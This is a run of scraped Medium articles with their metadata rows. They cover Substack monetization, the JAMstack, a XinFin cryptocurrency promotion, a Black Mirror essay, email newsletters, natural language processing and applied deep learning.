To make this decision easier for my readers, I provide my readers with instant and exclusive access to several digital products that I have created.
If you click on the following locked post (which is also referenced in my featured post, pinned to the top of my Substack homepage), you will see instructions explaining how to download several of my digital products for free!
Locked Post Containing Downloads for Subscribers:
There are many ways you can gate (control the access to) content.
Since I was already selling these products through Gumroad, I continued to utilize their platform, but you could accomplish the same thing through Etsy or any other digital eCommerce store.
Paying subscribers now have instant access to my bonus content.
Better yet, because this content is listed for sale on Gumroad, it helps potential subscribers realize the value of becoming a subscriber.
The products I am offering free complimentary access to are worth $250 (and I plan on adding more).
Since the current price of my newsletter is only $50 per year, the value proposition becomes much more clear:
Obviously, what you offer your readers will depend upon your niche. And some niche topics may not lend themselves toward digital downloads. But I am sure there are many other creative ways to provide bonus content.
Still, providing clear and instant value to potential subscribers is a valuable tactic on Substack (or pretty much in marketing/sales in general). | https://medium.com/substack-writing/substack-writing-tips-a8e72d86a39b | ['Substack Writing'] | 2020-08-05 02:21:33.659000+00:00 | ['Technology', 'Writing', 'Blogging', 'Substack', 'Journalism'] |
2,244 | What Is the JAMstack and How Do I Get Started? | What Makes Up the JAMstack?
Back to the JAMstack: it’s typically comprised of three components: JavaScript, APIs, and Markup.
Its history stems from growing the term “static site” into something more meaningful (and marketable). So, while ultimately a static site is the end result, it’s blown up to include first-class tooling for every step of the way.
JAMstack breakdown
While there isn’t any specific set of tools that you need to use, or any tools at all beyond simple HTML, there are great examples of what can make up each part of the stack. Let’s dive into each component a little bit.
JavaScript
The component that’s probably done the most work to popularize the JAMstack is JavaScript. Our favorite browser language allows us to provide all of the dynamic and interactive bits that we might not have if we’re serving plain HTML without it.
This is where a lot of times you’ll see UI frameworks like React, Vue, and newcomers like Svelte come into play.
“A Simple Component” example from reactjs.org
They make building apps simpler and more organized by providing component APIs and tooling that compile down to a simple HTML file (or a bunch of them).
Those HTML files include a group of assets like images, CSS, and the actual JS that ultimately get served to a browser via your favorite CDN (content delivery network).
APIs
Utilizing the strengths of APIs is core to how you make a JAMstack app dynamic.
Whether it’s authentication or search, your application will use JavaScript to make an HTTP request to another provider which will ultimately enhance the experience in one form or another.
Gatsby coined the phrase “content mesh” that does a pretty good job of describing the possibilities here.
You don’t necessarily have to reach out to only one host for an API, but you can reach out to as many as you need (but try not to go overboard).
For instance, if you have a headless Wordpress API where you host your blog posts, a Cloudinary account where you store your specialized media, and an Elasticsearch instance that provides your search functionality, they all work together to provide a single experience to the people using your site.
Markup
This is the critical piece. Whether it’s your handwritten HTML or the code that compiles down to the HTML, it’s the first part you’re serving to the client. This is kind of a de facto piece of any website, but how you serve it is the most important piece.
To be considered a JAMstack app, the HTML needs to be served statically, which basically means not being dynamically rendered from a server.
If you’re piecing a page together and serving it with PHP, it’s probably not a JAMstack app. If you upload and serve a single HTML file from storage that constructs an app with JavaScript, it sounds like a JAMstack app.
Static output from Gatsby on AWS S3
But that doesn’t mean we have to always build 100% of the app within the browser. Tools like Gatsby and other static site generators allow us to pull in some or all of our API sources at build time and render the pages out as HTML files.
Think if you have a Wordpress blog, we can pull in all of the posts and ultimately create a new HTML file for each post. That means we’re going to be able to serve a precompiled version of the page directly to the browser which usually equates to a quicker first paint and faster experience for your visitor. | https://medium.com/better-programming/what-is-the-jamstack-and-how-do-i-get-started-b09a05a195f1 | [] | 2020-04-01 22:26:42.097000+00:00 | ['Technology', 'Programming', 'JavaScript', 'Jamstack', 'Development'] |
2,245 | XinFin (XDC) — Poised To Disrupt Green Energy and Renewables Sector | XDC is a green coin
According to Morgan Stanley, “Energy needed to mine bitcoin could be more than is used by the entire country of Argentina in 2018” The bank estimates power for bitcoin mining, which has already been estimated to use more than 159 countries in 2017, will make up 0.6% of global demand. Similarly, total energy consumed by bitcoin network in one year could power 6585585 home for the entire year.
Due to its extremely high and increasing demand for electricity, cryptocurrency mining (of bitcoin and other cryptocurrencies) poses a potentially real and present danger to the world’s already-too-slow migration towards clean energy source.
There are many Altcoins now entering the crypto markets; thanks to the ease of use of the Blockchain technology. While most of these coins are focused on solving real-life problems and giving the user a better experience, green innovation has always been the less addressed sector.
Consequently, governments across the world continue to struggle to afford basic amenities such as clean energy, sanitation, hospitals, and roads. It is even tougher for developing countries: accessing available financing under favorable conditions is a nightmare!
However, all is not lost. Meet XinFin (XDC), a green coin that is set to revolutionize the green industry. So, let’s delve in and explore:
First, what is XinFin?
XinFin is a much evolved GREEN hybrid blockchain platform. The platform uses XDC (Xchange Infinite Development Contract) tokens. XinFin blockchain platform removes traditional High Power consumption based mining technology called PoW (Proof of Work). The underlying technology of this platform is designed to take responsible care of the environment as well as enable efficient crowdfunding for environmentally friendly projects.
How XinFin improved over bitcoin technology and is supporting green projects??
Unlike Bitcoin and many other cryptocurrencies, XinFin is friendly to mother earth as well as well as people sending, receiving and storing value on the platform. This can be attributed to Proof of Stake (PoS) mining.
XinFin’s Proof of Stake (PoS) mining replaces Bitcoin’s Proof of Work (PoW) methodology for executing transactions on the Blockchain. It is also important to note that currently, XinFin (XDC) is not publicly mineable. To be a master node, you will need to undergo XinFin’s evaluation process successfully.
But, what is the difference? Unlike Bitcoin’s PoW which is known to waste electricity, with XinFin the mining energy required is as little as the power consumed to run a word processor on your computer.
What is more? Transactions on the XinFin network are much faster than Bitcoin. What Bitcoin could transfer in an hour, XinFin can do in seconds.
Final word
As you can see, XinFin offers a greener solution to crypto mining that is also more transparent for investors. XinFin saves energy. It doesn’t have proof of work. And besides mining being free, it is never intensive. While other coins are not long-term feasible, XinFin is.
Businesses using the platform are not only expected to perform optimally but will go a long way in conserving mother earth. Major corporations such as Ramco are already on board. Here is an opportunity to get in too, download your free XinFin (XDC) wallet here.
Useful link for XinFin Masternode
Steps to Setup Masternode on XinFin MainNet
XinFin Mobile Wallet
XinFin Web Wallet
Steps to resign master node
Step by step guide to issue your own token on XinFin network
Step by step guide to swap token on XinFin network
Guide to setup node with one click installer
Watch the video to Setup XinFin Masternode with One-Click installer
Follow XinFin on:
Twitter: ( @ ) XinFin_Official
LinkedIn: https://www.linkedin.com/company/xinfin/
Telegram: https://t.me/xinfintalk | https://medium.com/xinfin/xinfin-xdc-the-green-coin-on-the-hybrid-blockchain-that-is-poised-to-disrupt-green-energy-and-b1b6b11a6aca | ['Xinfin Xdc Hybrid Blockchain Network'] | 2019-11-20 05:19:30.454000+00:00 | ['Latest News', 'Blockchain', 'Blockchain Technology', 'Green Energy', 'Bitcoin'] |
2,246 | How The Episode of “Black Mirror” About Those Pesky “Notifications” Gives The Worst View of Our Lives | “Smithereens”
Spoilers ahead!
We all remember the very first time we were “notified” about our relevancy at that particular moment, and for me, it was back in the summer of 2012, when after about 4 years of consistent engagement on Twitter, I was abruptly thrown into the fast-track lane of the hard lessons that can’t be learned without the cancellations of an entire community of cancellers.
Of course 7 years later, and the landscape of social graces has evolved into the graceless wiring of dysfunctional valves, that are stimulated by the exceptionally foul-mouthed of the bunch.
When my popularity soared on that steaming hot afternoon in June, it was due to the ill-advised essay I wrote about the untimely death of a popular writer, who was beloved by the culture of hip-hop, thanks to her seductive essays and novels that brilliantly captured the palatable genius of that memorable era.
The dreaded numbers game
As a cautious engager, who still harbored the desire for life-altering exposure on an app that seemed to possess all the tools for over-night success, tweeting the link to a heartfelt essay about someone I had never met didn’t appear to be a high risk endeavor.
But the readers that got a hold of it weren’t pleased with my misguided assessment of their loved one, and promptly initiated an aggressive campaign against me that lasted for about a day.
The experience was jarringly informative. That was when I understood the role of social media platforms, and how I had fallen victim to the scam of seeking validation though the usage of a trending item that I tried to repurpose for the purpose of gaining notoriety, which ironically didn’t work out in my favor.
Ever since that unfortunate mishap, my pursuits have been regulated by the determination to retain my primal qualities that aren’t immersed in the desperation for attention at all costs.
My rules for protecting my sanity have included the lack of interest in bumping up my number of followers, especially since it’s quite obvious that algorithms are a tricky breed that can only thrive from the dosage that mind-fucks us into submission. There’s also the failed attempt at being “verified,” which proved to be the best rejection ever, when you consider the unenviable burden that comes with sporting the blue badge that no longer bears the measure of appeal that inspired its inception.
So yes, my decade-long occupancy on Twitter has forced some major tweaks in the quest to fend off the symptoms of robotic mannerisms, but the one glitch in the system of operations is definitely the weakness for those darn notifications, and the inability to postpone the unrelenting need to respond to the signal of your worthiness.
There’s something uncannily addictive about those numbers hovering over the “bell” that rings even louder as those digits reach heights that surpass modest expectations.
This is why the episode of the new season of Black Mirror, “Smithereens,” that focuses on the deadliness of maintaining an active online presence in this new world of collaborative mayhem, disturbingly hit too close to home in ways that inspired an even bleaker forecast for an uncertain future.
The year is 2018, which is purposely indicative of the present, and troubled protagonist, Chris is employed as a driver with Hitcher, a rideshare company that aligns with the objectives of real-life Uber and Lyft.
From the very beginning it’s quite apparent from the start that this dude is tormented beyond compare. His whole disposition is soaked in visible grief, and the weird obsession with the formidable social media company called Smithereen, that’s supposed to evoke the tendencies of another influential outfit known as Twitter, dictates his daily ritual of targeting the office building for potential passengers.
The one who makes the cut for his dubious motives ends up being the unideal hostage, Jaden, who is a newly hired intern, without the clout that would give Chris the audacity to make his demands.
What ensues after Jaden buckles up for the ride of his life, is a gut-wrenching narrative where things take a sharp turn towards the jagged territory of negotiations and the edge-of-your-seat suspense that unfolds like the typical playbook, featuring the horrified abductee and his dangerously unraveling captor.
But the crux of this superb tale of woe lies in Chris’s devastating confession, that’s delivered during a painful monologue that tearfully illustrates the backstory of this young man’s tragic loss.
We learn that while driving down a clear road while his girlfriend blissfully dozed off in the passenger seat, he had casually checked out the notifications from Smithereen, that naggingly highlighted the screen of his phone, and those split seconds of bad judgment caused the collision with another car.
The accident killed his girlfriend, and since the driver of the other car was drunk, the police concluded their investigation by assigning blame on the likely suspect, despite the fact that the distraction from those pesky notifications also played a major role that was conveniently overlooked.
It’s hard not to refer to the early days of engagement when texting was the freshly minted mode of real-time communication that gave newbies a bird’s-eye view of what was later coined as our #bestlives, and how the number of casualties stemming from the failed juggling act of “texting while driving,” had already begun to accrue.
The first one hit my timeline back in 2010, and it happened to be a renowned plastic surgeon from Beverly Hills, who had captured the picturesque scene of a chill afternoon with his dog, before hopping into his jeep for a scenic drive on the stunning stretch of the Pacific Coast Highway.
The last text he would ever post didn’t foreshadow the horrific tumble after veering off the road that would end with rocks at the bottom and unsurvivable injuries.
A decade later, and the addiction to the accumulation of followers who fire up “likes” and “hearts” that initiate notifications, ringing with furious command to encourage all the adulation we can muster, with the risk-taking of producing mind-blowing imagery, that we are ready to sacrifice life and limb to post with the spirit of misplaced competitiveness — has been sorely elevated to the sport that redefines the potency of the words: “silent but deadly.”
The final outcome of the harrowing episode, depicting the damning elements of what it takes for power-driven tech institutions like Smithereen to effectively stay in business without the immense guilt of the dire consequences emanating from formulated pollution, that’s being internalized by young and younger victims — is a stark reflection of the current climate of self-destruction on a global stage.
The viewer gets to observe the poetic nonchalance of engagers who receive the notifications of the updated status of the seemingly resolved matter involving the captor and his captive.
And since we don’t know how it ends, we are only able to rely on the scenes that showcase the deadpan reaction of recipients, who quickly acknowledge the alert, and robotically go about their merry way.
This profoundly unnerving dramatization is supported by the ominous presence and absence of Billy Bauer, CEO of Smithereen, who evidently shares Twitter mastermind Jack Dorsey’s penchant for week-long retreats in the oasis of extravagantly vacant spaces.
CEO of calamity dwells in purchased serenity
Bauer and his equally nefarious minions are in damage-control mode once they’re up-to-speed on the social emergency before the final alerts of the disastrous ending, and there was the mandate that required the voice connection between the monster of technology and Chris — the suicidal victim of his savage creation.
The highly capable employees at Smithereen are only qualified to populate the blank spaces of Chris’s profile with pertinent data that provides the behavioral tendencies of an unhinged user, who just needs to hear scripted fare from Mr. Bauer, who tries and fails to execute that generic procedural.
The business-like approach to the chaos and mayhem eventually highlights the swift return to business as usual after the struggle in the car harboring the hostage and his captor catapults into action from stationed police officers, who fire at will, leaving rattled viewers to guess the outcome.
The aftermath gives us the worst view of our lives.
Bauer and his loyal crew internalize the breaking news without breaking a sweat, and regular users scroll past the alert without flinching. And I’m hoping that viewers replicated my disinterest in knowing what happened because of the preoccupation with what wasn’t happening.
This was the roll call of dormant emotions that need to be revived in order to endorse the dignity of humanness with the strength of fragility, that should be hitting all the right nerves, but unfortunately remains desensitized to the daily alerts of extremes that have become scarily familiar in ways that are marked with the ease of scrolling.
Black Mirror excels at dissecting the fibers of the human condition for the benefit of enticing us with futuristic threats of what can be amassed if we wait too long to claim what we are without the notifications that have become a life or death struggle.
But the nightmare upon us awakens the faculties with the alarm of how the future is now, which means the very worst is happening before our very eyes.
And that’s the shocking view of all. | https://nilegirl.medium.com/how-the-episode-of-black-mirror-about-those-pesky-notifications-gives-the-worst-view-of-our-8d4d796e53d9 | ['Ezinne Ukoha'] | 2019-06-11 16:41:35.195000+00:00 | ['Culture', 'Television', 'Technology', 'Social Media', 'Internet'] |
2,247 | Why are email newsletters so popular? | Passive distribution, useful information, and a little bit of personality
Photo by Mathyas Kurmann on Unsplash
Chances are that you’re subscribed to more email newsletters today than you were five years ago. Newsletters aren’t “new” technology, and they are in fact utilizing a relatively old internet distribution channel in your email inbox. Despite this, newsletters are more popular than ever before, and are being utilized by long-standing publications and individual writers, some of whom are able to make a very comfortable living with their newsletters at a time when journalists are being laid-off on a daily basis.
What’s behind the rise in volume and popularity of newsletters, and why is using your email inbox for distribution an advantage?
I can only speak from my experience, both as a consumer subscribed to a handful of newsletters like Term Sheet (from Fortune), Byers Market (from NBC News), and Stratechery (from Ben Thompson), and as the creator and author of The Garage San Francisco’s newsletter, a hyper-focused weekly newsletter for Northwestern University alums in the Bay Area who work in tech. I think I’ve gleaned enough from sitting on both sides of the newsletter to appreciate what makes them special.
A return to passive distribution
Before the internet, a physical newspaper would show up at your front door every morning. You didn’t have to choose (on a daily basis) which newspaper you were going to read that morning, and even if you had forgotten that you were going to read the newspaper, it physically arrived, perhaps reminding you to take a look. Newspapers were delivered frictionless, and at the same time of day, every day, whether you wanted to read them that particular day or not.
On the other hand, when publications first launched on the consumer internet, this passive distribution was lost. If you wanted to view a particular news or magazine publication, you had to remember to actively choose visit their website, perhaps by creating a bookmark and checking it on a regular basis. It was possible and likely that over time, you stopped visiting some of these sites, either because you forgot or didn’t find the content compelling enough to actively visit every day. Of course eventually social media platforms would surface articles and content in your feeds, but it wasn’t consistently surfacing the same publication at the same time each day — just individual articles that the people you follow shared that you may or may not be interested in.
More recently, email newsletters have resurrected the passive distribution of written content by arriving in your email inbox on a regular cadence. Many longstanding publications have started up newsletters as a way to build audiences that perhaps otherwise wouldn’t visit their sites. Personally, I read newsletters from from individuals and publications that I otherwise don’t visit or seek out on a regular basis. But these newsletters show up in my inbox every morning, and I generally find the content interesting enough to stay subscribed. As funny as it is to say, I probably wouldn’t read these even if they were free daily columns available on their respective websites — the friction of remembering and actively visiting is too high. As anyone who has worked on conversion optimization knows, the smallest amount of friction can lead to huge drop-offs in engagement.
One of the most important characteristics of newsletters, as Kendall Baker, who has written over 1,000 newsletter issues for The Hustle, Sports Internet, and Axios Sports, recently tweeted about, is consistency and cadence. Newsletters with a reliable cadence train readers when to expect their content (again, passively arriving in their inbox), and create a daily habit, or “appointment reading.” I send every TGSF newsletter on Tuesdays between 12–12:30pm PT, knowing that 1) it is likely a lower priority than the multiple newsletters that my audience receives first thing in the morning; and 2) hoping that they find a break in the work day around lunchtime to read through. With this cadence and consistency, open-rates have never fallen below 50%, even growing from 0 readers in October to 750+ in February. I have no doubt that the consistency of delivery time has at least some part to play in high engagement rates.
The context of our relationship with email is also important to the success of newsletters. Email is essential to our daily lives, and winning space in someone’s inbox is a high hurdle to clear, especially in a culture that prioritizes “inbox zero.” There is also no single corporate “owner” of email, so receiving an email or inbox notification is somehow less bothersome than getting a notification from another app. The context difference between open and free messaging channels and apps owned by companies incentivized to get your attention is an important one when it comes to notifications and communication with customers.
Some publications have realized the value in email distribution outside of newsletters. For instance, The Information sends emails multiple times per day, either with high-profile new stories or round-ups of recent articles. As a subscriber to The Information (~$400 / year), I rarely actively visit the website. Instead, I rely on checking the headlines that land in my inbox, clicking through on the stories that catch my interest.
Source: my inbox
Informative and entertaining content
To attract and retain readers, a newsletter must provide some valuable information or entertaining content. In my experience, there are three prominent and successful newsletter genres, each that have different use cases and characteristics that contribute to their success:
Newsletter genres:
News aggregator Deep dives / analysis & insight Community specific
News aggregation newsletters are usually sent on a daily or weekly cadence, have a specific sector or topic focus (tech, finance, media, etc.), and contain links to recent, relevant news stories for their audience. These newsletters are strongest when they link to a variety of sources, aggregating “the best of the best” stories, and are not beholden to one publication. For instance, even though Byers Market is written by NBC News reporters Dylan Byers and Ahiza Garcia-Hodges, the daily media industry-focused newsletter links to stories from a litany of reputable publications. I appreciate this as a reader, because it signals that they are linking the most interesting and in-depth stories regardless of source, not just schilling for NBC News.
Source: Byers Market Newsletter
News aggregation newsletters are most interesting when the author provides their own commentary or opinion on the stories that they link, like Benedict Evans does for the ~140,000 tech-interested subscribers to his newsletter. Author commentary provides a perspective on a news story, which is complimentary to the linked article, often written with the journalistic standards of avoiding bias or opinion. I appreciate this commentary because it often provides a well though-out opinion on recent news, and regardless of whether I agree with it or not, it gives me something to think about to develop my own opinions on the matter.
The second genre of popular newsletters is that of the deep-dive or topic / story analysis, such as Stratechery by Ben Thompson. In this genre, the author often tackles one new topic with each issue, diving into the weeds about the implications of a recent event or development. Authors of deep-dive newsletters most likely have expertise and relevant experience in the topics that they cover, and are able to provide a trusted perspective that is layers deeper and more nuanced than a basic news article covering the same event. These newsletters are more easily monetizable than news aggregators, because their content is entirely proprietary and, if they’re any good, their analysis is thought-provoking and original, enticing readers to pay for access. Anyone can copy or aggregate “news” stories, but fewer can write interesting, original in-depth analysis about the lesser-discussed implications of such stories, which makes this writing and analysis a valued skill.
Finally, community specific newsletters offer community managers a way to increase the interactions and engagement of their members. Often the intent of community specific newsletters (such as the one I write) is to distribute relevant information, and more importantly, increase opportunities for members to interact with each other, which strengthens the community.
These newsletters differ from news aggregator and deep dive newsletters in a couple of ways. First, their cadence is usually less often — more likely weekly or monthly; and second, they often depend on input, interaction, and content from their readers. For example, each week I feature an interview with one interesting member of our community, and include a handful of open job opportunities and requests from other members, who are able to utilize the weekly communication as a broadcasting channel for relevant content to the broader community. Get Real by Nikhil Krishnan and the “Give / Ask / News” newsletter by Mike MacCombie at ff.VC are two examples of community specific newsletters that are effective at enticing their readers to contribute their input and interact with one another.
A distinct (and often biased) voice
Besides distribution, the real strength of successful newsletters is that they have their own voice or personality. This is partially enabled once again by the context of email — which is usually written in a more personable and informal tone than an article in a publication. Having an email relationship, or being invited to someone’s inbox on a regular basis, affords a more casual and personality-driven tone than an article in a publication. For every newsletter that I subscribe to as a reader, I’m familiar with the author and their likely opinions and perspectives on a given topic, which I appreciate.
Even newsletters written by multiple writers such as The Hustle, Morning Brew, or theSkimm have a distinct voice or personality that is congenial to their audience. Humor, sarcasm, and inside-jokes or references are also common in newsletters, whose audiences understand the context, since they are regular readers. This makes consumption of otherwise “serious” content more enjoyable and engaging.
The nature of using email for distribution also allows readers to respond to the author of a newsletter. While most publications allow comments, it is both higher-friction and less personable than responding to an email newsletter. I’ve built TGSF newsletter to rely on feedback, input, and content from our readers, and I receive replies each week commenting on content from that week’s edition. As a writer, this engagement is pure encouragement.
Easy monetization
The real reason that we’ve seen an explosion in email newsletters over the past few years has been that they’ve become easily monetizable, even for individual authors. Tools like Substack have made it easy for anyone to spin-up a newsletter, either free or subscription based, and has empowered journalists to earn a living working for themselves even as publications slash jobs at record rates. If these same writers instead started their own blogs or websites and tried to drive regular traffic, they would see a fraction of the audience and monetization. But using the passive distribution channel of an email inbox, and by asking their audience to pay directly for their content, authors are able to engage and retain a sustainably large and monetizable audience! Many of the most popular paid newsletters on Substack are of the deep-dive variety, because these analyses are proprietary and therefore can’t be found anywhere else, unlike general “news” stories.
Another approach to newsletter monetization that pre-dates Substack is ad-supported or sponsor driven. In this model, authors write free newsletters and grow their audience to hundreds of thousands of readers before approaching brands and products to advertise in or “sponsor” their newsletter. Since newsletters often have a particular market focus, their audience demographic generally skews heavily, which is attractive to brands and products focused on that demographic. For readers, scrolling past the occasional ad is worth receiving the newsletter content for free, and they may just be interested in the product being advertised. Some newsletters also sell merchandise and use affiliate links to products for revenue.
Source: Morning Brew newsletter
At the end of the day, the real secret behind successful newsletters is no secret at all — the content has to be good. Although it takes less effort for a reader to find your content since it ends up in their inbox regularly, this quickly becomes an annoyance rather than a convenience if you’ve fallen out of favor with your readers. Consistently writing high-quality content — especially of the deep-dive / analysis genre — is a task that takes enormous effort.
Since the internet has brought down the barriers to content distribution, we’ve all benefitted from unique voices having the ability to share their thoughts publicly. Newsletters have a freedom that most publications do not — in that they can have an opinion and personality, and this is often what their audience values. Utilizing email as a passive distribution channel keeps an audience engaged, and maintaining a consistent cadence trains that audience to carve out time to consume the content. In a world competing for your attention, this is a high-hurdle, and those that are able to clear it are able to monetize this ability through brand sponsorships and paid subscriptions easier than ever before. It’s no wonder that newsletters are more popular than ever before. | https://medium.com/the-raabithole/why-are-email-newsletters-so-popular-7bda7c272247 | ['Mike Raab'] | 2020-05-26 21:24:53.619000+00:00 | ['Technology', 'Writing', 'Newsletter', 'Business', 'Media'] |
2,248 | Natural Language Processing Explained | Co-authored by a NLP dream team: Stella Liu (AI Product Manager), David Kearns (Product Manager in Data and AI), Nadine Handal (Data Scientist), Shubham Agarwal (AI Research Scientist), Michael Flores (AI Architect) and me (Machine Learning Developer)
Introduction
While AI has sometimes become synonymous with chatbots like Siri and Facebook Discovery bots, this is only scratching the surface of what the underlying technology — natural language processing (NLP) — can do for your product or your organization.
Google “natural language processing” though and you’ll get high level messaging on how ubiquitous it is or deep technical details on its implementation — co-reference resolution, neural network dependency parser and entity recognizer… anyone?
We (a data scientist, NLP consultant, NLP research scientist and AI product manager with a collective 50+ years of experience in this technology) decided that this is not helpful for people to grasp the potential of this technology and understand how to get started.
We collectively wrote this article for you — a tech-savvy but non-technical reader — to get the inside scoop on what this technology is, common success patterns that the team has seen that work in real-world situations, questions you can ask yourself to vet its relevance to the problem you’re facing and a few links so you can pursue deeper research on your own.
Our goal is to de-mystify NLP and provide a way for you to get started. Let us know if we succeeded in the comments.
What is Natural Language Processing?
Natural Language Processing (NLP) is an interdisciplinary field that spans techniques to process, understand, and analyze human language. NLP enables most of the current state-of-the-art AI applications by providing algorithms that convert the data humans understand (e.g. English, French, speech, tweets, e-mails etc.) into data computers understand and can operate upon. If you find yourself with any sort of written, typed, or spoken data in your business, you should be asking someone: “How can NLP help me turn this data into business value?”
Real world applications of NLP
If you’ve ever found yourself saying “Ok Google” or “Hey Siri”, you’ve experienced NLP without even knowing it. Many of the experiences we have today are supported in some way by NLP. When you request something from a virtual assistant like Siri, the system is using NLP to understand the meaning of your phrase so that it can respond appropriately. The four key patterns of NLP use cases that this article will explore are improving the consumer end user experience, democratizing access to big data in a large organization, speech recognition (translating speech to text) and sentiment analysis.
With NLP, we can make applications easier for users to interact with. For instance, imagine re-creating the experience of filling out a long, lengthy online form on the internet. No one enjoys tediously filling out all of the information that’s required from them. Instead of spending time trying to understand the information the online form needs, end users can be guided through the entire process of completing the form by a chatbot. NLP could also be used to auto-correct misspellings or misinformation. If desired, the entire online form can be replaced by a chatbot that engages the end user in conversation to extract the information needed.
Getting access to data in a large organization is notoriously time-consuming. Business analysts usually have to resort to creating an IT ticket to access the information they need or using SQL. Advances in NLP can help these business analysts go straight to the source and query the database in natural language — asking the computer questions like “What region performed best last quarter?” or “Compare store x and store y revenue in 2010 and 2012.” Salesforce’s WikiSql initiative, Narrative Science and Kueri are all examples that allow users the ability to ‘talk’ to their data.
NLP can also translate speech to text which is the backbone of chatbots. In the business context, translating speech to text helps automate manual business processes. For instance, in healthcare, auditing clinical trial interviews used to be a very lengthy task — analysts had to listen to hours of clinical interview trials in order to determine whether or not the person consented to do the trial. With advances in NLP, these audio interviews can be converted to text and consent can be determined with a simple “crt+f” operation.
Finally, sentiment analysis of text can help businesses tap into human-generated text such as news, blog posts, forums, and social media and understand the consumer in a deeper way. As consumers have started voicing their opinions on these public platforms, businesses can analyze this raw data to make sense of trends across their opinions and take action proactively.
Why NLP is better than traditional programming
To understand when an NLP solution is needed, we have to understand the end goal and the problem we’re trying to solve. While the definition of natural language processing is very broad — covering written and spoken language, the fact that you have data with human language doesn’t always mean you need to use NLP.
For example, if the goal is to identify a specific term “x”, a simple key word search operation can achieve this goal since this does not require deep understanding of what the text is about. On the other hand, if your application needs to assist lawyers in extracting the information they need from a huge collection of legal documents, then simple keyword search is not sufficient. Think of it this way — if you were to hire an assistant, they can’t do their research without proper training. They’d have to understand the legal language, the relationships and concepts that are relevant for their research subject. They will also need to know the domain in which they’re working in such as business law vs international law. NLP helps go beyond simple keyword search and by being more domain-specific. You can implement your own NLP application that can be trained specifically for your domain (like business law) to extract the relevant information from large amounts of textual data even more accurately and efficiently than simple keyword search.
Additionally, traditional programming techniques to organize data involve developing long list of rules (such as the key word search operation) that require hand-tuning by engineers. Thus, when you are dealing with fluctuating environments with changing data, traditional programming techniques quickly become inefficient and time-consuming to maintain. NLP techniques can adapt to fluctuating data, simplify code and perform better. | https://medium.com/ibm-watson/natural-language-processing-explained-76feb28dc16c | ['Ethan Koch'] | 2020-02-29 23:26:25.711000+00:00 | ['Machine Learning', 'Artificial Intelligence', 'NLP', 'Technology', 'Naturallanguageprocessing'] |
2,249 | The use of applied technology | I was listening to a podcast by Lex Friedman an AI researcher, interviewing Jeremy Howard the founder of fast.ai. I found the podcast very interesting.
Theory Vs Practice
In the middle of the podcast, Jeremy Howard states that most deep learning research is useless. As scientists need to work on areas that their colleagues are familiar with. So, they generally work on the same field of research. With little practical value.
One issue he gave as an example is active learning. When a user is explicitly giving feedback to the model. By labelling the data. This is an important topic when you have a custom dataset. As need a way to tell the model exactly what you are looking for.
An interesting idea they talked about is using large dataset can hinder your creativity. Relying on large datasets makes people think that they need to have a large amount of resources (e.g. multiple GPUs) to train deep learning. Also, it shuts out people who did not think they can use deep learning without large resources.
Also, they added that recent progress that came from the filed did not involve datacentre level resources. Examples like Batch normalization, Dropout, Rectified Linear Unit (ReLU).
In the podcast, Jeremy was asked about what he learned from teaching the fast.ai course. He replied that anyone can learn deep learning. With the main factor being tenacity. After that Lex asked how a person can become a deep learning expert. Jeremy replied train lots models. But later added that you want to train lots of model in your domain area.
Jeremy stated that deep learning is already a powerful tool. So, trying to work out how to get incremental improvements in a few areas. Is not as good as using deep learning to other fields to solve problems and gain new insights.
The use of domain expertise
This makes me think about the history of computers and the internet. Where lots of the gains did not just come from only getting faster. Yes, having faster computers and faster internet is helpful. IBM mainframes to personal computers. And Dial-up internet to fibre optic. This progress has allowed most people to get their hands on the technology. Helping them solve their own problem with these tools.
Accountants use computers. To keep track of financial information of the company. People post video tutorials on YouTube. So, they can learn new skills online. Artists share art on Instagram. For an interested audience.
Backend work was done to make these examples possible. But it may not have been too useful if many people did not use these tools to solve their own problems.
Think about modern smartphones, Smartphones are getting faster and getting new features every year. The phone makers like Apple and Samsung. Like to dance around on stage to tell us this. But has any big gains came of these modern innovations. No. Most people already have a fast-enough smartphone that solves their personal problems. Why does a customer need a double-sided phone? Or a phone that that bends? Hint: He doesn’t.
When the first Smartphones came out, they came with excitement. Because they solved problems like they never did before. And getting them into people’s hands created lots of value alone. As people thought of new ways of how a smartphone can be used. And phone makers add new features adjusting to people’s habits of using a smartphone. This created a positive feedback loop of innovation.
I read an example were a radiologist trained a machine learning model to look for fractures in x-rays. It was trained using Google’s no-code machine learning tool. Which means it does not need to be complicated to solve a problem. Another example, from a video I watched. Where civil engineers trained a machine learning model to look for broken pipes. As this is something that civil engineers must do a lot in the beginning of their careers. She found a way to make it way more efficient and solved a problem plaguing the industry. Saving young civil engineers from watching hours of footage to look through a cracked pipe.
My story about learning theory but not practice
Back to machine learning. Because even though I was able to learn a lot. I think was only able to starch the surface of what is possible with deep learning. I was able to get a basic understanding of deep learning. But if I remember I did not make many custom projects. As I was simply adjusting TensorFlow and YouTube tutorial examples.
Custom projects if I remember fell apart or never got finished. Which means my knowledge of deep learning is mainly theory but not practical. I can explain the data pipeline to train a model. But I will struggle to build one myself. I can explain what a GAN is. But I will struggle to make one myself. I know what an image classifier is, but can I send you a link of a custom-made example?
Most of these questions the answer is no. But I want to change that. Recently I have been reading and watching about how to use machine learning to help solve climate change. It struck me how much potential there is to solve the world’s most pressing issues. These issues can be helped with just an out of the box machine learning model. Not a cutting-edge model with 10 million bells and whistles. I want to be part of that change making a difference. This is done by solving problems in the real world.
Jeremy says deep learning is a high leverage skill. I believe we can use that tool for good. And to do so we must use these to solve problems that we are dealing with right now. Like I mentioned with the examples of the internet and computers. The amount of value created by normal people learning how to use those tools is enormous. Same with deep learning. | https://medium.com/dev-genius/the-use-of-applied-technology-394cf18b3625 | ['Tobi Olabode'] | 2020-07-06 17:08:25.772000+00:00 | ['Technology', 'Machine Learning', 'Deep Learning', 'Problem Solving', 'Applied Ai'] |
2,250 | New Methods Improve Customer Targeting, Business Outcomes | Businesses often find that it takes too long to see the results of their costly marketing campaigns. By the time they measure exactly whether an advertising plan or discount promotion works, the market can change and opportunities are missed, including how to target further efforts.
